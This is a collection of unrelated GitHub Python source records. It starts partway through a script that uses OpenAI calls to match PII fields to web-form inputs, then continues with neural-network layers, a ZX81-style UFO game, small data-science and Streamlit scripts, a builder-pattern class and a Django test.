continue\n        form_key_values.append(key[1])\n        text_to_value = dict()\n        for v in values:\n            print(v)\n            # key[1] is the actual name / context of the input group\n            # v[0], v[1] is the id and xpath of input element, \n            # v[2] is the value of the input element\n            text_to_value[(key[1], str(v[2]))] = (v[0],v[1],v[3])\n\n        form_key_texts[key[1]] = text_to_value\n\n    unique_form_keys = set(form_key_values)\n    if len(unique_form_keys) < len(form_key_values):\n        logging.warning('This means some form field names have duplication')\n        exit(1)\n\n    #print(formfields['input group 5  Social Security number'])\n    \n    pii_key_values = []\n    for key, values in pii_dict.items():\n        pii_key_values.append(key)\n    \n    #print(form_key_values)\n    #print(pii_key_values)\n    \n    function_string = \"def map_names(form_key_values: list, pii_key_values: list) -> dict:\"\n    description_string = \"\"\"Based on the semantic of list elements, build a map from the first list to the second list.\"\"\"\n    args = [str(pii_key_values), str(form_key_values)]\n    result_string = ai_function(function_string, args, description_string, model)\n    logging.info(result_string)\n    result = ast.literal_eval(result_string)\n    print(result)\n    filtered_result = {}\n    for pii_name_raw, form_name in result.items():\n        if (form_name is None) or (len(form_name) == 0):\n            continue\n        print(pii_name_raw)\n        print(form_name)\n        # Compute the cosine similarity\n        resp = openai.Embedding.create(\n            input=[pii_name_raw, form_name],\n            engine=\"text-similarity-davinci-001\")\n\n        embedding_a = resp['data'][0]['embedding']\n        embedding_b = resp['data'][1]['embedding']\n\n        similarity = np.dot(embedding_a, embedding_b)\n        #similarity = nlp(pii_name_raw).similarity(nlp(form_name))\n        print(similarity)\n        if similarity >=.6:\n            filtered_result[pii_name_raw] = form_name\n    result = filtered_result\n\n    form_name_to_pii_name = []\n    \n    matched_form_fields = set(result.values())\n    for form_name in form_key_values:\n        if len(form_name) < 1:\n            continue\n        if form_name not in matched_form_fields:\n            form_value = []\n            for (k,v) in form_key_texts[form_name]:\n                form_value.append(v)\n            if len(form_value) > 1:\n                for k, v in form_key_texts[form_name]:\n                    xid = v[0]\n                    xpath = v[1]\n                    input_type = v[2] if len(v) > 2 else 'unknown'\n                    print(input_type)\n                    form_name_to_pii_name.append((xid, xpath, 'unknown', 'na', input_type))\n            if len(form_value) == 1:\n                default_value = form_value[0]\n                xid, xpath, input_type = form_key_texts[form_name][(form_name, default_value)]\n                print(input_type)\n                form_name_to_pii_name.append((xid, xpath, 'unknown', 'na', input_type))\n\n    for pii_name_raw, form_name in result.items():\n        \n        if pii_name_raw in name_maps:\n            pii_name = name_maps[pii_name_raw]\n        else:\n            logging.warning(f\"Key not found in name_maps: {pii_name_raw}\")\n            continue\n\n        form_value = []\n        for (k,v) in form_key_texts[form_name]:\n            form_value.append(v)\n        print(pii_name_raw)\n        print(pii_name)\n        print(form_name)\n        print(form_value)\n        pii_value = pii_dict[pii_name_raw]\n\n        if len(form_value) > 1:\n            function_string = \"def value_select(values: list, query: str) -> str:\"\n            args = [str(form_value), pii_value]\n            description_string = \"\"\"Based on the query string to select the best value in the list. Please output the whole result, no abbreviation\"\"\"\n            mapped_value = ai_function(function_string, args, description_string, model)\n            if (form_name, mapped_value) in form_key_texts[form_name]:\n                xid, xpath, input_type = form_key_texts[form_name][(form_name, mapped_value)]\n                # logging form_name_values\n                logging.info((xid, xpath, mapped_value))\n                form_name_to_pii_name.append((xid, xpath, pii_name, mapped_value))\n            else:\n                logging.warning(f\"Key not found in form key texts map: {(form_name, mapped_value)}\")\n            for k, v in form_key_texts[form_name]:\n                if (k[0] == form_name) and (k[1] == mapped_value):\n                    continue\n                xid = v[0]\n                xpath = v[1]\n                input_type = v[2]\n                print(input_type)\n                form_name_to_pii_name.append((xid, xpath, 'unselected', 'na', input_type))\n\n        if len(form_value) == 1:\n            #check if there is format string availale \n            default_value = form_value[0]\n            xid, xpath, input_type = form_key_texts[form_name][(form_name, default_value)]\n            mapped_value = ''\n            if len(default_value) > 1:\n                function_string = \"def value_norm(format: str, value: str) -> str:\"\n                args = [default_value, pii_value]\n                print(default_value)\n                description_string = \"\"\"Based on the format string, normalized the value string.\"\"\"\n                mapped_value = ai_function(function_string, args, description_string, model)\n            else:\n                mapped_value = pii_value\n            # logging form_name_values\n            logging.info((xid, xpath, mapped_value))\n            form_name_to_pii_name.append((xid, xpath, pii_name, mapped_value, input_type))\n\n        if len(form_value) == 0:\n            mapped_value = pii_value\n            # logging form_name_values\n            logging.info((xid, xpath, mapped_value))\n            form_name_to_pii_name.append((xid, xpath, pii_name, mapped_value, input_type))\n    return form_name_to_pii_name\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Matching pii data to extracted form fields.\")\n    parser.add_argument(\"--method\", type=str, default=\"simple\", help=\"The pii data json file.\")\n    parser.add_argument(\"--formfields\", type=str, help=\"The extraced form fields pickle file.\")\n    parser.add_argument(\"--output\", type=str, help=\"The filled information for #id/#xpath of input elements, in json format.\")\n\n\n    args = parser.parse_args()\n    \n    if args.method == 'simple':\n        formfields = load_json_from_file(args.formfields)\n        openai_api_key = os.environ[\"OPENAI_API_KEY\"]\n        json_output = args.output\n        model = \"gpt-3.5-turbo\"\n        form_name_to_pii_name = matching_simple(formfields, openai_api_key, model)\n        with open(json_output, 'w') as json_file:\n            json.dump(form_name_to_pii_name, json_file)\n    \n    else:\n    \n        formfields = deserialize_dictionary(args.formfields)\n        openai_api_key = os.environ[\"OPENAI_API_KEY\"]\n        json_output = args.output\n        \n        model = \"gpt-3.5-turbo\"\n        form_name_to_pii_name = matching(formfields, openai_api_key, model)\n        \n        with open(json_output, 'w') as json_file:\n            json.dump(form_name_to_pii_name, json_file)\n    \n","repo_name":"mliu1/data-gene","sub_path":"lib/matching.py","file_name":"matching.py","file_ext":"py","file_size_in_byte":32651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71688306980","text":"import torch\nimport torch.nn as nn\nimport torch.distributions as dist\nimport torch.nn.functional as F\n\nclass LinearVariational(nn.Module):\n    \"\"\"\n    Mean field approximation of nn.Linear\n    \"\"\"\n    def __init__(self, in_features, out_features, parent, n_batches, bias=True):\n        super().__init__()\n        self.in_features = in_features\n        self.out_features = out_features\n        self.include_bias = bias        \n        self.parent = parent\n        self.n_batches = n_batches\n        \n        if getattr(parent, 'accumulated_kl_div', None) is None:\n            parent.accumulated_kl_div = 0\n            \n        # Initialize the variational parameters.\n        # Q(w)=N(mu_theta,sigma2_theta)\n        # Do some random initialization with sigma=0.001\n        self.w_mu = nn.Parameter(\n            torch.FloatTensor(in_features, out_features).normal_(mean=0, std=0.1)\n        )\n        # proxy for variance\n        # log(1 + exp(ρ))* eps\n        self.w_p = nn.Parameter(\n            torch.FloatTensor(in_features, out_features).normal_(mean=-3., std=0.1)\n        )\n        # # Prior mean\n        # self.w_mu_pr = nn.Parameter(\n        #     torch.FloatTensor(in_features, out_features).normal_(mean=0, std=0.1)\n        # )\n\n        if self.include_bias:\n            self.b_mu = nn.Parameter(\n                #torch.zeros(out_features)\n                torch.FloatTensor(out_features).normal_(mean=0., std=0.1)\n            )\n            # proxy for variance\n            self.b_p = nn.Parameter(\n                #torch.zeros(out_features)\n                torch.FloatTensor(out_features).normal_(mean=-3., std=0.1)\n            )\n            # # bias prior mean\n            # self.b_mu_pr = nn.Parameter(\n            #     #torch.zeros(out_features)\n            #     torch.FloatTensor(out_features).normal_(mean=0., std=0.1)\n            # )\n        \n    def reparameterize(self, mu, p):\n        sigma = torch.log(1 + torch.exp(p)) \n        eps = torch.randn_like(sigma)\n        return mu + (eps * sigma)\n    \n    def kl_divergence(self, mu_theta, p_theta, mu_prior, prior_sd=1.):\n        # log_prior = dist.Normal(mu_prior, prior_sd).log_prob(z) \n        # log_p_q = dist.Normal(mu_theta, torch.log(1 + torch.exp(p_theta))).log_prob(z) \n        \n        # return (log_p_q - log_prior).sum() / self.n_batches\n        postr = dist.Normal(mu_theta, torch.log(1 + torch.exp(p_theta)))\n        prior = dist.Normal(mu_prior, prior_sd)\n        return dist.kl.kl_divergence(postr,prior).sum() / self.n_batches\n\n\n    # def forward(self, x):\n    #     w = self.reparameterize(self.w_mu, self.w_p)\n        \n    #     if self.include_bias:\n    #         b = self.reparameterize(self.b_mu, self.b_p)\n    #     else:\n    #         b = 0\n    \n    #     z = x @ w + b\n\n    #     z_mu, z_var = self.calcPredDist(x)\n        \n    #     self.parent.accumulated_kl_div += self.kl_divergence(w, self.w_mu, self.w_p, 0., 1.)\n    #     if self.include_bias:\n    #         self.parent.accumulated_kl_div += self.kl_divergence(b, self.b_mu, self.b_p, 0., 1.)\n    #     return z, z_mu, z_var\n\n\n    def forward(self, x):\n        # sampling delta_W\n        sigma_weight = torch.log1p(torch.exp(self.w_p))\n        delta_weight = (sigma_weight * torch.randn_like(sigma_weight))\n\n        if self.include_bias:\n            sigma_bias = torch.log1p(torch.exp(self.b_p))\n            bias = (sigma_bias * torch.randn_like(sigma_bias))\n        else:\n            bias = torch.zeros(self.out_features)\n\n        # get kl divergence\n        self.parent.accumulated_kl_div += self.kl_divergence(self.w_mu, self.w_p, 0., 1.)\n        if self.include_bias:\n            self.parent.accumulated_kl_div += self.kl_divergence(self.b_mu, self.b_p, 0., 1.)\n\n        #print(self.w_mu,self.b_mu)\n        #print(self.w_mu.size(),self.b_mu.size())\n        # linear outputs\n        outputs = F.linear(x, self.w_mu.transpose(0,1), self.b_mu)\n\n        sign_input = x.clone().uniform_(-1, 1).sign()\n        sign_output = outputs.clone().uniform_(-1, 1).sign()\n\n        perturbed_outputs = F.linear(x * sign_input, delta_weight.transpose(0,1), bias) * sign_output\n\n        z_mu, z_var = self.calcPredDist(x)\n\n        # returning outputs + perturbations\n        return outputs + perturbed_outputs, z_mu, z_var\n\n    def calcPredDist(self, x):\n        if self.include_bias:\n            z_mu = x @ self.w_mu + self.b_mu\n            #z_var = (x @ self.w_p)**2 + self.b_p**2\n            z_var = x**2 @ torch.log(1 + torch.exp(self.w_p))**2 + torch.log(1 + torch.exp(self.b_p))**2\n        else:\n            z_mu = x @ self.w_mu\n            z_var = x**2 @ torch.log(1 + torch.exp(self.w_p))**2\n        return z_mu, z_var","repo_name":"nshadskiy/IMPACT-ML","sub_path":"models/LinearVariational.py","file_name":"LinearVariational.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17077495393","text":"#!/usr/bin/env python\n# coding=utf-8\nimport sys\nsys.path.append('../')\nimport torch\nimport torch.nn as nn\nfrom transformer.attention import MultiHeadAttention\nfrom transformer.positionwise_feedforward import PositionwiseFeedForward\n\n\nclass EncoderLayer(nn.Module):\n    \"\"\"\n    EncoderLayer = self_attention with sublayerconnection + feedforward with sublayerconnection\n    \"\"\"\n    def __init__(self, d_model, d_hidden, n_heads, dropout=0.3):\n        \"\"\"\n        Args:\n            d_model: hidden size of transformer\n            d_hidden: feed forward hidden size, usually 4 * d_model\n            n_heads: number of heads in multi-head attention\n            dropout: dropout rate\n        \"\"\"\n        super(EncoderLayer, self).__init__()\n        self.self_attention = MultiHeadAttention(n_heads=n_heads, d_model=d_model, dropout=dropout)\n        self.pos_feedforward = PositionwiseFeedForward(d_model=d_model, d_hidden=d_hidden, dropout=dropout)\n        self.dropout = nn.Dropout(p=dropout)\n    \n    def forward(self, encoder_input, mask=None):\n        encoder_input, encoder_attn = self.self_attention(encoder_input, encoder_input, encoder_input, mask=mask)\n        encoder_output = self.pos_feedforward(encoder_input)\n        return encoder_output, encoder_attn\n        \n\nclass DecoderLayer(nn.Module):\n    \"\"\"\n    DecoderLayer = self_attention + enc_attention + feedforward\n    \"\"\"\n    def __init__(self, d_model, d_hidden, n_heads, dropout=0.3):\n        \"\"\"\n        Args:\n            d_model: hidden size of transformer\n            d_hidden: feed forward hidden size, usually 4 * d_model\n            n_heads: number of heads in multi-head attention\n            dropout: dropout rate\n        \"\"\"\n        super(DecoderLayer, self).__init__()\n        self.self_attention = MultiHeadAttention(n_heads=n_heads, d_model=d_model, dropout=dropout)\n        self.enc_attention = MultiHeadAttention(n_heads=n_heads, d_model=d_model, dropout=dropout)\n        self.pos_feedforward = PositionwiseFeedForward(d_model=d_model, d_hidden=d_hidden, dropout=dropout)\n\n    def forward(self, encoder_output, decoder_input, self_attn_mask=None, enc_attn_mask=None):\n        decoder_output, dec_self_attn = self.self_attention(decoder_input, decoder_input, decoder_input, mask=self_attn_mask)\n        decoder_output, dec_enc_attn = self.enc_attention(decoder_output, encoder_output, encoder_output, mask=enc_attn_mask)\n        decoder_output = self.pos_feedforward(decoder_output)\n        return decoder_output, dec_self_attn, dec_enc_attn\n\nif __name__ == '__main__':\n    d_model = 512\n    d_hidden = 2048\n    n_heads = 8\n    batch_size = 16\n    len_frames = 20\n\n    encoder_input = torch.ones(batch_size, len_frames, d_model)\n    decoder_output = torch.ones(batch_size, len_frames // 2, d_model)\n    encoder_mask = torch.ones(batch_size, 1, len_frames)\n    self_attn_mask = (1 - torch.triu(torch.ones(1, len_frames // 2, len_frames // 2), diagonal=1))\n    dec_attn_mask = encoder_mask.clone()\n    \n    temp_encoder = EncoderLayer(d_model=d_model, d_hidden=d_hidden, n_heads=n_heads)\n    temp_decoder = DecoderLayer(d_model=d_model, d_hidden=d_hidden, n_heads=n_heads)\n\n    encoder_output = temp_encoder(encoder_input=encoder_input, mask=encoder_mask)\n    print(encoder_output.shape)\n    decoder_output, *_ = temp_decoder(encoder_output=encoder_output, decoder_input=decoder_output,\n                                      self_attn_mask=self_attn_mask, dec_attn_mask=dec_attn_mask)\n    print(decoder_output.shape)\n\n\n","repo_name":"MarcusNerva/spatio_temporal_graph","sub_path":"models/transformer/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11991146522","text":"# ----------------------------------------------------------------------------\r\n# \"34 Amazing Games in Python from the 1K ZX81\"\r\n# Python Code redevelopment Kevin Phillips, 2015\r\n#\r\n# Recreation of classic ZX81 games using python and pygame\r\n# ----------------------------------------------------------------------------\r\n# Requires:\r\n# ----------------------------------------------------------------------------\r\n# Python 2.7\t-\twww.python.org\r\n# pygame 1.91\t-\twww.pygame.org\r\n# ZXBasic.py\t-\tZX Basic class (import module)\r\n# ZX81.ttf\t\t-\tZX81 Font (http://www.dafont.com/zx81.font) - installed\r\n# g1.png, etc\t-\tA collection of 20 .png files representing key graphics\r\n# ----------------------------------------------------------------------------\r\n#\r\n# GAME:\t\t\tUFO, page 8\r\n# DESCRIPTION:\tUse 0 and 8 to move your laser beneath the descending UFO\r\n#\t\t\t\tYou score when you hit it by pressing 1. Game over when it lands\r\n#\r\n# From the book \"34 Amazing games for the 1K ZX81\"\r\n# Original book and game design (C) 1982, Alastair Gourlay, Mark Ramshaw and\r\n# Interface publishing.\r\n#\r\n# ----------------------------------------------------------------------------\r\nimport ZXBasic\r\nfrom random import randint\r\nfrom pygame.locals import *\r\nimport pygame.time\r\n\r\n# Note that all pygame functionality is managed in class.  We do however need\r\n# to import the pygame.time module here to control the speed of the game\r\nfpsClock = pygame.time.Clock()\r\n\t\r\nzx = ZXBasic.ZXBasic()\r\nzx.createScreen()\r\nzx.CLS()\r\n\r\n# Define game as a function\r\n# We will use functions for all games, as some of the games have\r\n# options to restart.  This makes more sense if called from a games loop\r\n# in the main program.\r\ndef ufo():\r\n\t# define variables.  P is player position, L is length of river\r\n\tP = 1\r\n\tQ = 7\r\n\tS = 0\r\n\tX = 1\r\n\t\r\n\tzx.PRINT_AT(0,0,\"|i               \")\r\n\tfor x in range(1,15):\r\n\t\tzx.PRINT_AT(x,0,\"|i |t             |i \")\r\n\r\n\t# Refresh the screen\r\n\tzx.screenRefresh()\r\n\r\n\twhile True:\r\n\r\n\t\t# wipe the player and UFO\r\n\t\tzx.PRINT_AT(int(P),int(Q),'|t ')\r\n\t\tzx.PRINT_AT(16,X,'|t ')\r\n\t\t\r\n\t\t# Work out the movement of our barrel by checking the keys\r\n\t\tX = X + (zx.INKEY('0') - zx.INKEY('8'))\r\n\t\t\r\n\t\t# Move the alien\r\n\t\tP = P + zx.RND() / 3\r\n\t\tQ = Q + 2 * zx.RND() - 1\r\n\t\t\r\n\t\t# if the UFO has landed, we exit\r\n\t\tif P > 15:\r\n\t\t\treturn True\r\n\r\n\t\t# Check for bounds\r\n\t\tif Q < 1 or Q > 13:\r\n\t\t\tQ = 7\r\n\t\tif X < 1 or X > 13:\r\n\t\t\tX = 1\r\n\t\t\t\r\n\t\t# Print our game graphics\r\n\t\tzx.PRINT_AT(int(P),int(Q),'|tX')\r\n\t\tzx.PRINT_AT(16,X,'|g7')\r\n\t\t\r\n\t\t# Check if we fired and hit\r\n\t\tif zx.INKEY('1') and X == int(Q + 0.5):\r\n\t\t\tS = S + 10\r\n\t\t\tzx.PRINT_AT(int(P),int(Q),'|iX')\r\n\t\t\tzx.PRINT_AT(0,5,'|t%s' % S)\r\n\t\t\r\n\t\t# Refresh the screen and loop\r\n\t\tzx.screenRefresh()\r\n\t\tfpsClock.tick(4)\r\n\t\r\n\t\r\nwhile True:\r\n\tufo()\r\n\t\r\n\t# Refresh the display\r\n\tzx.screenRefresh()\r\n\t\r\n\t# When the game has completed, wait here until the space bar is pressed.\r\n\t# Because of the key press repeat, we may find that allowing any key (like the ZX81)\r\n\t# will instantly restart the game.  We need to also keep an eye on events here for\r\n\t# QUIT as well.\r\n\t\r\n\t# Lets just set a flag and use a while loop to keep the game paused\r\n\treplay = True\r\n\t\r\n\twhile replay:\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type == KEYDOWN:\r\n\t\t\t\tif event.key == K_SPACE:\r\n\t\t\t\t\treplay = False\r\n\t\t\tif event.type == QUIT:\r\n\t\t\t\tpygame.quit()\r\n\t\t\t\tsys.exit()\r\n\t\r\n\tzx.CLS()\r\n\t# The game will now return to the top of the while loop (ie start a new game)\r\n\t# Easily done","repo_name":"kevman3d/ZX81BASIC","sub_path":"pyUFO.py","file_name":"pyUFO.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"10741872892","text":"import numpy as np\nimport scipy.ndimage\n\n\n# fh = open('ex.txt', 'r')\n# shape = (5,10)\nfh = open('input.txt', 'r')\nshape = (100,100)\n\nlines = fh.readlines()\n\nseafloor = np.ndarray(shape=shape, dtype=int)\nfor i,line in enumerate(lines):\n    seafloor[i] =[int(x) for x in line.strip()]\n\nneighbors = np.array(\n      [[0, 1, 0],\n       [1, 0, 1],\n       [0, 1, 0]])\nlowpoints = seafloor < scipy.ndimage.minimum_filter(seafloor, footprint=neighbors, mode='constant', cval=999)\n# >>> ans * np.ones(shape=ans.shape) + seafloor*ans\nlow_values = lowpoints * np.ones(shape=lowpoints.shape) + seafloor*lowpoints\nprint(low_values.sum())\n\n","repo_name":"billmerrill/aoc21","sub_path":"9/ninea.py","file_name":"ninea.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37491215","text":"from farm.builders.interfaces.abstract_habitat_builder import AbstractHabitatBuilder\nfrom farm.domain.collections.pig_pen import PigPen\nfrom farm.domain.single_entities.pig import Pig\nfrom farm.visitors.collections.add_visitor import AddVisitor\nfrom farm.visitors.collections.get_animals_visitor import GetAnimalsVisitor\n\nclass ConcretePigPenBuilder(AbstractHabitatBuilder):\n    \"\"\"\n    ConcretePigPenBuilder Subclass\n\n    Concrete Builder Class to set attributes, add animal, and get details\n    to a pig pen instance\n\n    Arguments:\n        AbstractHabitatBuilder -- AbstractHabitatBuilder\n    \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"\n        __init__ method\n\n        Creates an instance of Pig pen\n        \"\"\"\n        self.pig_pen: PigPen = PigPen()\n\n    def build_capacity(self, capacity: int) -> None:\n        \"\"\"\n        build_capacity method\n\n        Setter/builder method to set capacity attribute\n        of pig pen instance\n\n        Arguments:\n            capacity -- int\n        \"\"\"\n        self.pig_pen.capacity = capacity\n\n    def build_material(self, material: str) -> None:\n        \"\"\"\n        build_material method\n\n        Setter/builder method to set material attribute\n        of pig pen instance\n\n        Arguments:\n            material -- str\n        \"\"\"\n        self.pig_pen.material = material\n\n    def build_add_animal(self, pig: Pig) -> None:\n        \"\"\"\n        build_add_animal method\n\n        Adds Pig instance to pig pen instance\n\n        Arguments:\n            pig -- Pig\n        \"\"\"\n        add_visitor = AddVisitor()\n        self.pig_pen.accept(add_visitor, pig)\n\n    def get_habitat(self) -> str:\n        get_animals_builder = GetAnimalsVisitor()\n        pigs_list = []\n        if self.pig_pen.pigs[0] and self.pig_pen.pigs[0].name:\n            pigs_list = [cow.name for cow in self.pig_pen.accept(get_animals_builder)]\n        return f\"\"\"\n        Pig Pen:\n        Capacity: {self.pig_pen.capacity}\n        Material: {self.pig_pen.material}\n        Number: {len(self.pig_pen.accept(get_animals_builder))}\n        Animals: {pigs_list}\n        \"\"\"","repo_name":"kichichoi102/chicken-oop","sub_path":"farm/builders/concrete/pig_pen_builder.py","file_name":"pig_pen_builder.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35007660684","text":"import numpy as np\nfrom scipy.special import expit\nfrom scipy.misc import logsumexp\n\n\ndef sigmoid(x):\n    return expit(x)\n\n\ndef sigmoidForData(X, coef, intercept=None, returnFull=False):\n    if coef.ndim == 1:  # coef is 1d array\n        if intercept is None:\n            linearTerms = X.dot(coef)\n        else:\n            if isinstance(intercept, float):\n                linearTerms = X.dot(coef) + intercept  # intercept should be a float\n            else:\n                raise(\"'coef' is 1-dimensional, which requires a scalar intercept.\"\n                      \"Non-scalar intercept is not yet implemented.\")\n\n        sigmoids = sigmoid(linearTerms)\n        if returnFull:\n            return np.vstack((sigmoids, 1-sigmoids)).T\n        else:\n            return sigmoids\n    else:  # coef is 2d array\n        if intercept is None:\n            linearTerms = X.dot(coef)\n        else:\n            if len(intercept) == coef.shape[1]:\n                linearTerms = X.dot(coef) + intercept\n            else:\n                ValueError(\"The shapes of 'coef' and 'intercept' are not conformable. \"\n                           \"'coef' has shape %s and 'intercept' has shape %s.\" % (coef.shape, intercept.shape))\n        return sigmoid(linearTerms)\n\n\ndef softmax(x, addDefaultBase=True, axis=1, returnLog=False):\n    # x is a 1d or 2d array\n    if x.ndim == 1:\n        if addDefaultBase:\n            x = np.append(x, 0)\n        logSumExp = logsumexp(x)\n        logSoftMax = x - logSumExp\n        if returnLog:\n            return logSoftMax\n        else:\n            return np.exp(logSoftMax)\n    else:\n        if addDefaultBase:\n            x = np.append(x, np.zeros((x.shape[0], 1)), axis=1)\n        logSumExp = logsumexp(x, axis, keepdims=True)\n        logSoftMax = x - logSumExp\n        if returnLog:\n            return logSoftMax\n        else:\n            return np.exp(logSoftMax)\n\n\ndef softmaxForData(X, Coef, intercepts=None, addDefaultBase=True, returnLog=False):\n    if intercepts is None:\n        linearTerms = X.dot(Coef)\n    else:\n        linearTerms = X.dot(Coef) + intercepts\n\n    return softmax(linearTerms, addDefaultBase, returnLog=returnLog)\n","repo_name":"pancodia/mixedlogistic","sub_path":"mixedlogistic_separate/Math.py","file_name":"Math.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15056452623","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras.optimizers import RMSprop\n\n#自作パッケージ\nfrom data_manager import DataManager as dm\n\n#各種パラメータ\n\nbatch_size = 128  # 訓練データを128ずつのデータに分けて学習させる\nnum_classes = 24 # 分類させる数。今回のコードの総数は24種類\nepochs = 20 # 訓練データを繰り返し学習させる数\nx_output_path = \"./output/x/\"\ny_output_path = \"./output/y/\"\n\ncodeFiles = [\n  \"c\",\n  \"c#\",\n  \"d\",\n  \"d#\",\n  \"e\",\n  \"f\",\n  \"f#\",\n  \"g\",\n  \"g#\",\n  \"a\",\n  \"a#\",\n  \"b\",\n  \"cm\",\n  \"c#m\",\n  \"dm\",\n  \"d#m\",\n  \"em\",\n  \"fm\",\n  \"f#m\",\n  \"gm\",\n  \"g#m\",\n  \"am\",\n  \"a#m\",\n  \"bm\"\n]\n\n# クロマベクトルのデータとその教師データを取得する\ndm = dm()\ntrain_range = [1,2,3,4,5,6,7,8,9,10]\ntest_range = [1,2,3,4,5,6,7,8,9,10]\nx_train, y_train, x_test, y_test = dm.get_chromas(train_range=train_range, test_range=test_range)\n\n# y(教師データ)にはコードの名前が文字列として入っているが、Kerasで扱いやすい形(0 or 1)に変換する\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\n# モデルの作成\nmodel = Sequential()\nmodel.add(Dense(48, activation='sigmoid', input_shape=(None,12)))\nmodel.add(Dense(48, activation='sigmoid'))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss='categorical_crossentropy',\n optimizer=RMSprop(),\n metrics=['accuracy'])\n\nmodel.summary()\n\n# 学習\nhistory = model.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test))\n\n# 評価はevaluateで行う\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n\n# 結果をプロットする\nfig, (loss_plot, accuracy_plot) = plt.subplots(ncols=2)\n\naccuracy_plot.plot(history.history['accuracy'])\naccuracy_plot.plot(history.history['val_accuracy'])\naccuracy_plot.set_title('Model accuracy')\naccuracy_plot.set_ylabel('Accuracy')\naccuracy_plot.set_xlabel('Epoch')\naccuracy_plot.set_ylim(0, 1.00)\naccuracy_plot.legend(['Train', 'Test'], loc='upper left')\n\nloss_plot.plot(history.history['loss'])\nloss_plot.plot(history.history['val_loss'])\nloss_plot.set_title('Model loss')\nloss_plot.set_ylabel('Loss')\nloss_plot.set_xlabel('Epoch')\nloss_plot.legend(['Train', 'Test'], loc='upper left')\n\nfig.tight_layout()\nplt.show()","repo_name":"ShoyaSuzuki0523/code_recognition","sub_path":"code_model.py","file_name":"code_model.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6353920564","text":"import streamlit as st\nimport yfinance as yf\n\n\ndef stock_price():\n    st.write(\"\"\"\n            Simple stock price App. \n            Shown are the stock price and volume of Google\n            \"\"\")\n    # Символ тикера\n    ticker_symbol = 'GOOGL'\n\n    ticker_data = yf.Ticker(ticker_symbol)\n\n    ticker_df = ticker_data.history(period='1d', start='2019-01-01')\n\n    return st.line_chart(ticker_df.Close), st.line_chart(ticker_df.Volume)\n\n\nif __name__ == '__main__':\n    stock_price()\n","repo_name":"EgorDS15/Streamlit-Google-Stock-Price","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24182083951","text":"from mock import MagicMock, patch\nfrom django.test import TestCase\n\nfrom auth_backend.resources import base\nfrom auth_backend.resources.base import ObjectResource, Action\n\nfrom auth_backend.tests.mock_path import *  # noqa\n\n\nclass ObjectResourceTestCase(TestCase):\n    def setUp(self):\n        self.rtype = 'type_token'\n        self.name = 'name_token'\n        self.scope_type = 'scope_type_token'\n        self.scope_name = 'scope_name_token'\n        self.actions = [Action(id='view', name='view', is_instance_related=True),\n                        Action(id='edit', name='edit', is_instance_related=True)]\n        self.inspect = MagicMock()\n        self.scope_id = 'scope_id_token'\n        self.parent = MagicMock()\n        self.parent.rtype = 'parent_type_token'\n        self.operations = [{\n            'operate_id': 'view',\n            'actions_id': ['view'],\n        }, {\n            'operate_id': 'edit',\n            'actions_id': ['view', 'edit']\n        }]\n        self.backend = MagicMock()\n\n    def tearDown(self):\n        base.resource_type_lib = {}\n\n    @patch(RESOURCE_CLEAN_INSTANCE, MagicMock())\n    def test_clean_instances__is_resource_cls(self):\n        resource = ObjectResource(rtype=self.rtype,\n                                  name=self.name,\n                                  scope_type=self.scope_type,\n                                  scope_name=self.scope_name,\n                                  actions=self.actions,\n                                  inspect=self.inspect,\n                                  scope_id=self.scope_id,\n                                  parent=self.parent,\n                                  operations=self.operations,\n                                  backend=self.backend,\n                                  resource_cls=str)\n\n        instance = 'instance'\n        self.assertEqual(resource.clean_instances(instance), instance)\n        super(ObjectResource, resource).clean_instances.assert_not_called()\n\n    @patch(RESOURCE_CLEAN_INSTANCE, MagicMock())\n    def test_clean_instances__fall_back_to_super(self):\n        resource = ObjectResource(rtype=self.rtype,\n                                  name=self.name,\n                                  scope_type=self.scope_type,\n                                  scope_name=self.scope_name,\n                                  actions=self.actions,\n                                  inspect=self.inspect,\n                                  scope_id=self.scope_id,\n                                  parent=self.parent,\n                                  operations=self.operations,\n                                  backend=self.backend,\n                                  resource_cls=list)\n\n        instance = 'instance'\n        self.assertIsNotNone(resource.clean_instances(instance))\n        super(ObjectResource, resource).clean_instances.assert_called_once_with(instance)\n","repo_name":"manlucas/atom","sub_path":"auth_backend/tests/resources/base/test_object_resource.py","file_name":"test_object_resource.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
